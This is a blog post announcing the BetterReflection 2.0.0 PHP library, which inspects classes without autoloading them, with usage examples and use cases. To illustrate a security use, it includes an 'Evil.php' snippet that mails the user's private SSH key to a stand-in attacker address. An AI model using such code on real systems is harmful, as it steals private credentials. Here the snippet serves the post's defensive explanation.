Marco Pivetta (Ocramius)

BetterReflection version 2.0.0 released

Roave's BetterReflection 2.0.0s was released today!

I and James Titcumb started working on this project back in 2015, and it is a pleasure to see it reaching maturity.

The initial idea was simple: James would implement all my wicked ideas, while I would lay back and get drunk on Drambuie.

Me, drunk in bed. Photo by @Asgrim, since I was too drunk to human

Yes, that actually happened. Thank you, James, for all the hard work! 🍻

(I did some work too, by the way!)

What the heck is BetterReflection?

Jokes apart, the project is quite ambitious, and it aims at reproducing the entirety of the PHP reflection API without having any actual autoloading being triggered.

When put in use, it looks like this:

<?php

// src/MyClass.php

namespace MyProject;

class MyClass
{
    public function something() {}
}
<?php

// example1.php

use MyProject\MyClass;
use Roave\BetterReflection\BetterReflection;
use Roave\BetterReflection\Reflection\ReflectionMethod;

require_once __DIR__ . '/vendor/autoload.php';

$myClass = (new BetterReflection())
    ->classReflector()
    ->reflect(MyClass::class);

$methodNames = \array_map(function (ReflectionMethod $method) : string {
    return $method->getName();
}, $myClass->getMethods());

\var_dump($methodNames);

// class was not loaded:
\var_dump(\sprintf('Class %s loaded: ', MyClass::class));
\var_dump(\class_exists(MyClass::class, false));

As you can see, the difference is just in how you bootstrap the reflection API.

Also, we do provide a fully backwards-compatible reflection API that you can use if your code heavily relies on ext-reflection:

<?php

// example2.php

use MyProject\MyClass;
use Roave\BetterReflection\BetterReflection;
use Roave\BetterReflection\Reflection\Adapter\ReflectionClass;

require_once __DIR__ . '/vendor/autoload.php';

$myClass = (new BetterReflection())
    ->classReflector()
    ->reflect(MyClass::class);

$reflectionClass = new ReflectionClass($myClass);

// You can just use it wherever you had `ReflectionClass`!
\var_dump($reflectionClass instanceof \ReflectionClass);
\var_dump($reflectionClass->getName());

How does that work?

The operational concept is quite simple, really:

  1. We scan your codebase for files matching the one containing your class. This is fully configurable, but by default we use some ugly autoloader hacks to find the file without wasting disk I/O.
  2. We feed your PHP file to PHP-Parser
  3. We analyse the produced AST and wrap it in a matching Roave\BetterReflection\Reflection\* class instance, ready for you to consume it.

The hard part is tracking the miriad of details of the PHP language, which is very complex and cluttered with scope, visibility and inheritance rules: we take care of it for you.

Use case scenarios

The main use-cases for BetterReflection are most likely around security, code analysis and AOT compilation.

One of the most immediate use-cases will likely be in PHPStan, which will finally be able to inspect hideous mixed OOP/functional/procedural code if the current WIP implementation works as expected.

Since you can now "work" with code before having loaded it, you can harden API around a lot of security-sensitive contexts. A serializer may decide to not load a class if side-effects are contained in the file declaring it:

<?php

// Evil.php
\mail(
    'haxxor@evil.com',
    'All ur SSH keys are belong to us',
    \file_get_contents('~/.ssh/id_rsa')
);

// you really don't want to autoload this bad one:
class Evil {}

The same goes for classes implementing malicious __destruct code, as well as classes that may trigger autoloading of other malicious code.

It is also possible to analyse code that is downloaded from the internet without actually running it. For instance, code may be checked against GPG signatures in the file signature before being run, effectively allowing PHP to "run only signed code". Composer, anybody?

If you are more into code analysis, you may decide to compare two different versions of a library, and scan for BC breaks:

<?php
// the-library/v1/src/SomeApi.php

class SomeAPI
{
    public function sillyThings() { /* ... */ }
}
<?php
// the-library/v2/src/SomeApi.php

class SomeAPI
{
    public function sillyThings(UhOh $bcBreak) { /* ... */ }
}

In this scenario, somebody added a mandatory parameter to SomeAPI#sillyThings(), effectively introducing a BC break that is hard to detect without having both versions of the code available, or a good migration documentation (library developers: please document this kind of change!).

Another way to leverage the power of this factory is to compile factory code into highly optimised dependency injection containers, like PHP-DI started doing.

Future use cases?

In addition to the above use-case scenarios, we are working on additional functionality that would allow changing code before loading it .

Is that a good idea?

... I honestly don't know.

Still, there are proper use-case scenarios around AOP and proxying libraries, which would then be able to work even with final classes.

You will likely see these features appear in a new, separate library.

Credits

To conclude, I would like to thank James Titcumb, Jaroslav Hanslík, Marco Perone and Viktor Suprun for the effort they put in this release, providing patches, improvements and overall helping us building something that may become extremely useful in the PHP ecosystem.

Tags: PHP, Library, Roave, Clean Code, Tools